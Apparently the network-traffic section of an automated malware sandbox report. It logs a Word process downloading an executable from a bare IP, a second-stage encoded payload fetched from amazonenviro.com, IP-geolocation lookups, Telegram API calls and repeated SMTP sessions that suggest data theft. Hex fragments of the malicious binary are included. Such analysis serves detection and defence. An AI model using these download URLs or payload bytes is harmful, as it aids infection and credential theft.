Jan 6, 2025 07:54:42.850819111 CET	443	53788	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:42.850892067 CET	53788	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:42.851124048 CET	53788	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:42.851134062 CET	443	53788	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:42.897274971 CET	53782	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:43.170027018 CET	53793	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:43.176481962 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:43.176569939 CET	53793	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:43.304183006 CET	443	53788	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:43.305802107 CET	53788	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:43.305825949 CET	443	53788	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:43.457645893 CET	443	53788	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:43.457709074 CET	443	53788	188.114.97.3	192.168.2.5
Jan 6, 2025 07:54:43.457760096 CET	53788	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:43.458158970 CET	53788	443	192.168.2.5	188.114.97.3
Jan 6, 2025 07:54:43.498322964 CET	53782	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:43.498961926 CET	53795	443	192.168.2.5	149.154.167.220
Jan 6, 2025 07:54:43.498992920 CET	443	53795	149.154.167.220	192.168.2.5
Jan 6, 2025 07:54:43.499069929 CET	53795	443	192.168.2.5	149.154.167.220
Jan 6, 2025 07:54:43.499644995 CET	53795	443	192.168.2.5	149.154.167.220
Jan 6, 2025 07:54:43.499658108 CET	443	53795	149.154.167.220	192.168.2.5
Jan 6, 2025 07:54:43.503341913 CET	80	53782	132.226.8.169	192.168.2.5
Jan 6, 2025 07:54:43.503395081 CET	53782	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:43.715552092 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:43.715877056 CET	53793	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:43.721646070 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:43.863943100 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:43.864168882 CET	53793	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:43.873775959 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:44.022413015 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:44.023478031 CET	53793	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:44.028283119 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:44.127839088 CET	443	53795	149.154.167.220	192.168.2.5
Jan 6, 2025 07:54:44.127937078 CET	53795	443	192.168.2.5	149.154.167.220
Jan 6, 2025 07:54:44.129468918 CET	53795	443	192.168.2.5	149.154.167.220
Jan 6, 2025 07:54:44.129478931 CET	443	53795	149.154.167.220	192.168.2.5
Jan 6, 2025 07:54:44.129724979 CET	443	53795	149.154.167.220	192.168.2.5
Jan 6, 2025 07:54:44.131222010 CET	53795	443	192.168.2.5	149.154.167.220
Jan 6, 2025 07:54:44.175328970 CET	443	53795	149.154.167.220	192.168.2.5
Jan 6, 2025 07:54:44.178168058 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:44.178180933 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:44.178195953 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:44.178208113 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:44.178220987 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:44.178237915 CET	53793	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:44.178261995 CET	53793	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:44.180754900 CET	53793	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:44.185559034 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:44.328397036 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:44.331860065 CET	53793	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:44.337869883 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:44.379817963 CET	443	53795	149.154.167.220	192.168.2.5
Jan 6, 2025 07:54:44.379873037 CET	443	53795	149.154.167.220	192.168.2.5
Jan 6, 2025 07:54:44.382025957 CET	53795	443	192.168.2.5	149.154.167.220
Jan 6, 2025 07:54:44.382275105 CET	53795	443	192.168.2.5	149.154.167.220
Jan 6, 2025 07:54:44.479919910 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:44.483047962 CET	53793	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:44.487937927 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:44.630354881 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:44.631228924 CET	53793	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:44.636121035 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:44.780345917 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:44.780613899 CET	53793	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:44.785455942 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:44.929006100 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:44.929544926 CET	53793	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:44.934474945 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:45.078737020 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:45.078996897 CET	53793	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:45.083913088 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:45.230648994 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:45.230865955 CET	53793	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:45.237014055 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:45.383296967 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:45.383615017 CET	53793	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:45.388639927 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:45.543906927 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:45.544811010 CET	53793	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:45.544920921 CET	53793	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:45.544940948 CET	53793	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:45.545018911 CET	53793	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:45.549627066 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:45.549765110 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:45.549870014 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:45.549880028 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:45.792880058 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:45.834784985 CET	53793	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:50.103854895 CET	53738	80	192.168.2.5	132.226.8.169
Jan 6, 2025 07:54:50.312705994 CET	53841	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:50.318624973 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:50.318706036 CET	53841	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:50.854343891 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:50.854557991 CET	53841	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:50.859411001 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:51.000725985 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:51.000953913 CET	53841	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:51.006177902 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:51.155625105 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:51.155972958 CET	53841	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:51.160891056 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:51.314444065 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:51.314476013 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:51.314491034 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:51.314512968 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:51.314522028 CET	53841	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:51.314523935 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:51.314553976 CET	53841	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:51.319545031 CET	53841	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:51.324331045 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:51.469363928 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:51.473007917 CET	53841	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:51.478725910 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:51.620310068 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:51.622750998 CET	53841	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:51.628277063 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:51.769885063 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:51.770844936 CET	53841	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:51.775741100 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:51.917784929 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:51.918025017 CET	53841	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:51.922885895 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:52.064421892 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:52.064676046 CET	53841	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:52.069574118 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:52.211771011 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:52.212028027 CET	53841	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:52.216856956 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:52.360187054 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:52.360775948 CET	53841	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:52.365513086 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:52.508322954 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:52.508671045 CET	53841	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:52.513513088 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:52.669486046 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:52.673171997 CET	53841	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:52.673224926 CET	53841	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:52.673243999 CET	53841	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:52.673243999 CET	53841	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:54:52.677975893 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:52.678097963 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:52.678141117 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:52.915534019 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:54:52.959860086 CET	53841	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:55:06.184756994 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:56:12.492094994 CET	53704	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:56:12.496943951 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:56:12.642179966 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:56:12.642626047 CET	53704	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:56:12.647710085 CET	587	53704	208.91.198.176	192.168.2.5
Jan 6, 2025 07:56:12.647784948 CET	53704	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:56:23.195144892 CET	53793	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:56:23.200345993 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:56:23.342118025 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:56:23.342642069 CET	53793	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:56:23.347630024 CET	587	53793	208.91.198.176	192.168.2.5
Jan 6, 2025 07:56:23.347687006 CET	53793	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:56:30.335822105 CET	53841	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:56:30.340730906 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:56:30.482259035 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:56:30.485795975 CET	53841	587	192.168.2.5	208.91.198.176
Jan 6, 2025 07:56:30.490873098 CET	587	53841	208.91.198.176	192.168.2.5
Jan 6, 2025 07:56:30.491432905 CET	53841	587	192.168.2.5	208.91.198.176

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 6, 2025 07:54:04.451196909 CET	57843	53	192.168.2.5	1.1.1.1
Jan 6, 2025 07:54:04.465109110 CET	53	57843	1.1.1.1	192.168.2.5
Jan 6, 2025 07:54:10.967629910 CET	64355	53	192.168.2.5	1.1.1.1
Jan 6, 2025 07:54:10.974785089 CET	53	64355	1.1.1.1	192.168.2.5
Jan 6, 2025 07:54:12.866058111 CET	62969	53	192.168.2.5	1.1.1.1
Jan 6, 2025 07:54:12.872827053 CET	53	62969	1.1.1.1	192.168.2.5
Jan 6, 2025 07:54:16.250803947 CET	53	50524	1.1.1.1	192.168.2.5
Jan 6, 2025 07:54:24.947267056 CET	54761	53	192.168.2.5	1.1.1.1
Jan 6, 2025 07:54:24.953825951 CET	53	54761	1.1.1.1	192.168.2.5
Jan 6, 2025 07:54:32.465090990 CET	59096	53	192.168.2.5	1.1.1.1
Jan 6, 2025 07:54:32.779500961 CET	53	59096	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 6, 2025 07:54:04.451196909 CET	192.168.2.5	1.1.1.1	0x9962	Standard query (0)	amazonenviro.com	A (IP address)	IN (0x0001)	false
Jan 6, 2025 07:54:10.967629910 CET	192.168.2.5	1.1.1.1	0x9c73	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 6, 2025 07:54:12.866058111 CET	192.168.2.5	1.1.1.1	0x987	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 6, 2025 07:54:24.947267056 CET	192.168.2.5	1.1.1.1	0xf408	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Jan 6, 2025 07:54:32.465090990 CET	192.168.2.5	1.1.1.1	0x8f7b	Standard query (0)	mail.techniqueqatar.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 6, 2025 07:54:04.465109110 CET	1.1.1.1	192.168.2.5	0x9962	No error (0)	amazonenviro.com		166.62.27.188	A (IP address)	IN (0x0001)	false
Jan 6, 2025 07:54:10.974785089 CET	1.1.1.1	192.168.2.5	0x9c73	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 6, 2025 07:54:10.974785089 CET	1.1.1.1	192.168.2.5	0x9c73	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 6, 2025 07:54:10.974785089 CET	1.1.1.1	192.168.2.5	0x9c73	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 6, 2025 07:54:10.974785089 CET	1.1.1.1	192.168.2.5	0x9c73	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 6, 2025 07:54:10.974785089 CET	1.1.1.1	192.168.2.5	0x9c73	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 6, 2025 07:54:10.974785089 CET	1.1.1.1	192.168.2.5	0x9c73	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 6, 2025 07:54:12.872827053 CET	1.1.1.1	192.168.2.5	0x987	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 6, 2025 07:54:12.872827053 CET	1.1.1.1	192.168.2.5	0x987	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 6, 2025 07:54:24.953825951 CET	1.1.1.1	192.168.2.5	0xf408	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Jan 6, 2025 07:54:32.779500961 CET	1.1.1.1	192.168.2.5	0x8f7b	No error (0)	mail.techniqueqatar.com		208.91.198.176	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

147.124.216.113

amazonenviro.com

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49710	147.124.216.113	80	3732	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:54:02.020010948 CET	182	OUT	GET /image.exe HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Language: en-ch User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: 147.124.216.113
Jan 6, 2025 07:54:02.539633989 CET	1236	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Sun, 05 Jan 2025 22:54:23 GMT Accept-Ranges: bytes ETag: "185c71c3c45fdb1:0" Server: Microsoft-IIS/8.5 Date: Mon, 06 Jan 2025 06:54:02 GMT Content-Length: 1161216 Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 d0 06 00 00 e4 0a 00 00 00 00 00 0c e8 06 00 00 10 00 00 00 f0 06 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 [TRUNCATED] Data Ascii: MZP@!L!This program must be run under Win32$7PEL^B*@@@Pn& \|TW.text `.itextH `.data@ @.bss6.idatan&P(@.tls4.rdata@@.reloc\|~@B.rsrc @@@@@
Jan 6, 2025 07:54:02.539652109 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 40 00 03 07 42 6f 6f 6c 65 61 6e 01 00 00 00 00 01 00 00 00 00 10 40 00 05 46 61 6c 73 65 04 54 72 75 65 8d 40 00 2c 10 40 00 02 04 43 68 61 72 01 Data Ascii: @Boolean@FalseTrue@,@Char@@IntegerX@Bytel@Word@Cardinal@string@WideString@@
Jan 6, 2025 07:54:02.539661884 CET	1236	IN	Data Raw: 28 df 7a 20 df 7a 18 df 7a 10 df 7a 08 df 3a c3 8d 40 00 df 28 df 68 08 df 68 10 df 68 18 df 68 20 df 68 28 df 68 30 8b 48 38 89 4a 38 df 7a 30 df 7a 28 df 7a 20 df 7a 18 df 7a 10 df 7a 08 df 3a c3 90 df 28 df 68 08 df 68 10 df 68 18 df 68 20 df Data Ascii: (z zzz:@(hhhh h(h0H8J8z0z(z zzz:(hhhh h(h0h8H@J@z8z0z(z zzz:@y,l\|<x,<DD@,<xH9JtG!(G
Jan 6, 2025 07:54:02.539668083 CET	1236	IN	Data Raw: fe 29 3d 20 17 47 00 89 35 1c 17 47 00 eb 21 0f b7 43 1a 89 c7 e8 e5 fc ff ff 89 c6 85 c0 75 10 a2 18 17 47 00 88 03 5f 5e 5b c3 80 64 37 fc f7 8d 4f 06 89 4e fc 31 c0 a2 18 17 47 00 89 1e 89 46 08 c7 46 0c 01 00 00 00 89 73 10 8d 46 20 0f b7 4b Data Ascii: )= G5G!CuG_^[d7ON1GFFsF KS){p_^[%Gt?jv%Gt)j`=,0u#(Gt^#$Gt
Jan 6, 2025 07:54:02.539675951 CET	896	IN	Data Raw: 23 5e fc 09 eb 89 5e fc 89 cb 8b 57 fc f6 c2 01 75 09 83 ca 08 89 57 fc eb 17 90 89 f8 83 e2 f0 01 d3 01 d7 81 fa 30 0b 00 00 72 05 e8 ee f6 ff ff 89 5f f8 8d 43 03 89 44 2e fc 81 fb 30 0b 00 00 72 0a 8d 04 2e 89 da e8 12 f7 ff ff c6 05 18 17 47 Data Ascii: #^^WuW0r_CD.0r.G]_^[to]_^[G,9=MGtO%Gt'QRjfZY%GtQRjLZY#^Gt~,9w
Jan 6, 2025 07:54:02.578326941 CET	1236	IN	Data Raw: 92 8d 14 92 83 f9 01 83 df ff c1 e8 1a 81 e2 ff ff ff 03 09 c1 83 c8 30 88 07 8d 04 92 8d 14 92 83 f9 01 83 df ff c1 e8 19 81 e2 ff ff ff 01 09 c1 83 c8 30 88 07 8d 04 92 8d 14 92 83 f9 01 83 df ff c1 e8 18 81 e2 ff ff ff 00 09 c1 83 c8 30 88 07 Data Ascii: 0000?000G_@SV^[USVE@;rM
Jan 6, 2025 07:54:02.578353882 CET	1236	IN	Data Raw: d8 07 fe ff ff 85 f8 47 fe ff 8b c3 e8 1e fa ff ff 8b d8 85 db 75 8e 8b 7f 04 81 ff 08 17 47 00 0f 85 72 ff ff ff 8b 1d b0 37 47 00 eb 37 8b c3 83 c0 10 e8 5f fd ff ff 84 c0 75 26 c6 85 ff 47 fe ff 00 8b 73 0c 83 e6 f0 83 ee 04 83 ee 10 8b 85 f8 Data Ascii: GuGr7G7_u&GsGG[7GtG\|GXG3G)@(AG7G>FOGGGGG
Jan 6, 2025 07:54:02.578363895 CET	448	IN	Data Raw: e8 da fe ff ff c7 05 08 17 47 00 08 17 47 00 c7 05 0c 17 47 00 08 17 47 00 be 00 04 00 00 ba a8 17 47 00 8b c2 89 00 89 40 04 83 c2 08 4e 75 f3 c7 05 ac 37 47 00 ac 37 47 00 c7 05 b0 37 47 00 ac 37 47 00 5f 5e 5b c3 8d 40 00 53 56 57 55 bb 08 17 Data Ascii: GGGGG@Nu7G7G7G7G_^[@SVWUG7G{ohjW;u7<FHH@3H Ju[G@Ju^{hjS(;u6v]_^[=7Gt7GP3
Jan 6, 2025 07:54:02.578506947 CET	1236	IN	Data Raw: 59 09 c0 74 e7 89 01 c3 8d 40 00 e8 67 3a 00 00 83 b8 00 00 00 00 00 74 0f e8 59 3a 00 00 8b 80 00 00 00 00 8b 40 08 c3 33 c0 c3 e8 47 3a 00 00 83 b8 00 00 00 00 00 74 0f e8 39 3a 00 00 8b 80 00 00 00 00 8b 40 04 c3 33 c0 c3 53 56 e8 25 3a 00 00 Data Ascii: Yt@g:tY:@3G:t9:@3SV%:t:^:3F3^[@FSV=GtGu9w4F^[@$PRQ9Y
Jan 6, 2025 07:54:02.578519106 CET	1236	IN	Data Raw: da dd 14 02 dd 54 02 08 83 c2 10 7c f4 dd c0 c3 90 90 90 85 d2 7e 50 88 4c 02 ff 83 e2 fe f7 da 8d 14 55 80 32 40 00 ff e2 90 90 66 89 48 1c 66 89 48 1a 66 89 48 18 66 89 48 16 66 89 48 14 66 89 48 12 66 89 48 10 66 89 48 0e 66 89 48 0c 66 89 48 Data Ascii: T\|~PLU2@fHfHfHfHfHfHfHfHfHfHfHfHfHfHf@SVWPtl11F t-tb+t_$t_xtZXtU0uFxtHXtCt t-0w%9w!Fut}TF~KxI[)G
Jan 6, 2025 07:54:02.578531027 CET	1236	IN	Data Raw: 45 f4 50 8d 45 f8 50 6a 00 6a 00 68 60 37 40 00 8b 45 fc 50 e8 fe db ff ff 33 c0 5a 59 59 64 89 10 68 24 37 40 00 8b 45 fc 50 e8 d8 db ff ff c3 e9 06 09 00 00 eb ef 0f b7 05 20 f0 46 00 66 25 c0 ff 0f b7 55 f8 66 83 e2 3f 66 0b c2 66 a3 20 f0 46 Data Ascii: EPEPjjh`7@EP3ZYYdh$7@EP Ff%Uf?ff F]SOFTWARE\Borland\Delphi\RTLFPUMaskValue- FVWp1A_^@USV3M3Uh'8@d0d E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49713	166.62.27.188	80	5560	C:\Windows\SysWOW64\brightness.exe

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:54:04.514368057 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 6, 2025 07:54:05.433335066 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:05 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Last-Modified: Sun, 05 Jan 2025 22:51:37 GMT ETag: "2ca99af-bf3d0-62afd5ac0f2a3" Accept-Ranges: bytes Content-Length: 783312 Vary: Accept-Encoding Keep-Alive: timeout=5 Data Raw: 37 6b 4a 35 67 6a 48 77 71 47 59 5a 50 67 6e 54 43 58 5a 43 38 4f 64 59 38 69 64 75 79 67 6e 52 54 76 63 64 67 64 67 49 43 37 6c 43 47 2f 6d 53 75 2f 71 37 4c 52 30 6b 4a 4a 43 7a 42 61 34 77 46 65 2b 6b 73 76 79 36 51 52 45 6d 4a 70 75 38 2b 61 67 74 4a 65 71 74 6d 46 65 56 43 45 4e 68 72 36 52 4f 70 42 30 33 59 72 75 4d 55 6f 34 67 4b 30 36 75 69 31 32 51 48 6a 4e 59 71 61 5a 59 6b 2f 56 49 51 2b 52 34 52 6f 62 73 56 43 76 6c 63 44 52 38 36 6c 49 33 31 6d 68 42 62 66 64 4e 79 54 55 59 56 48 75 68 78 6b 72 42 55 59 68 5a 34 6f 4b 52 38 32 65 4c 57 44 59 58 41 51 78 67 42 4d 50 48 79 49 41 45 54 32 77 72 72 64 52 30 42 31 4f 42 4f 37 4b 39 35 44 35 65 66 54 44 69 62 5a 49 77 54 33 39 36 4f 64 35 35 64 4b 45 36 46 64 6c 52 71 4b 57 6a 38 45 76 4b 58 36 6d 58 6b 31 51 46 66 45 43 7a 34 4e 67 31 2f 62 41 46 78 74 48 4a 51 51 4b 30 41 64 62 58 70 34 46 55 49 64 6e 30 65 4f 5a 31 54 68 48 67 43 34 2b 72 6d 43 51 6b 58 4f 58 31 61 4b 2f 4e 4b 31 37 6d 2b 34 54 48 74 62 5a 43 59 34 6c 57 6d 4d 6d 38 4c 68 [TRUNCATED] Data Ascii: 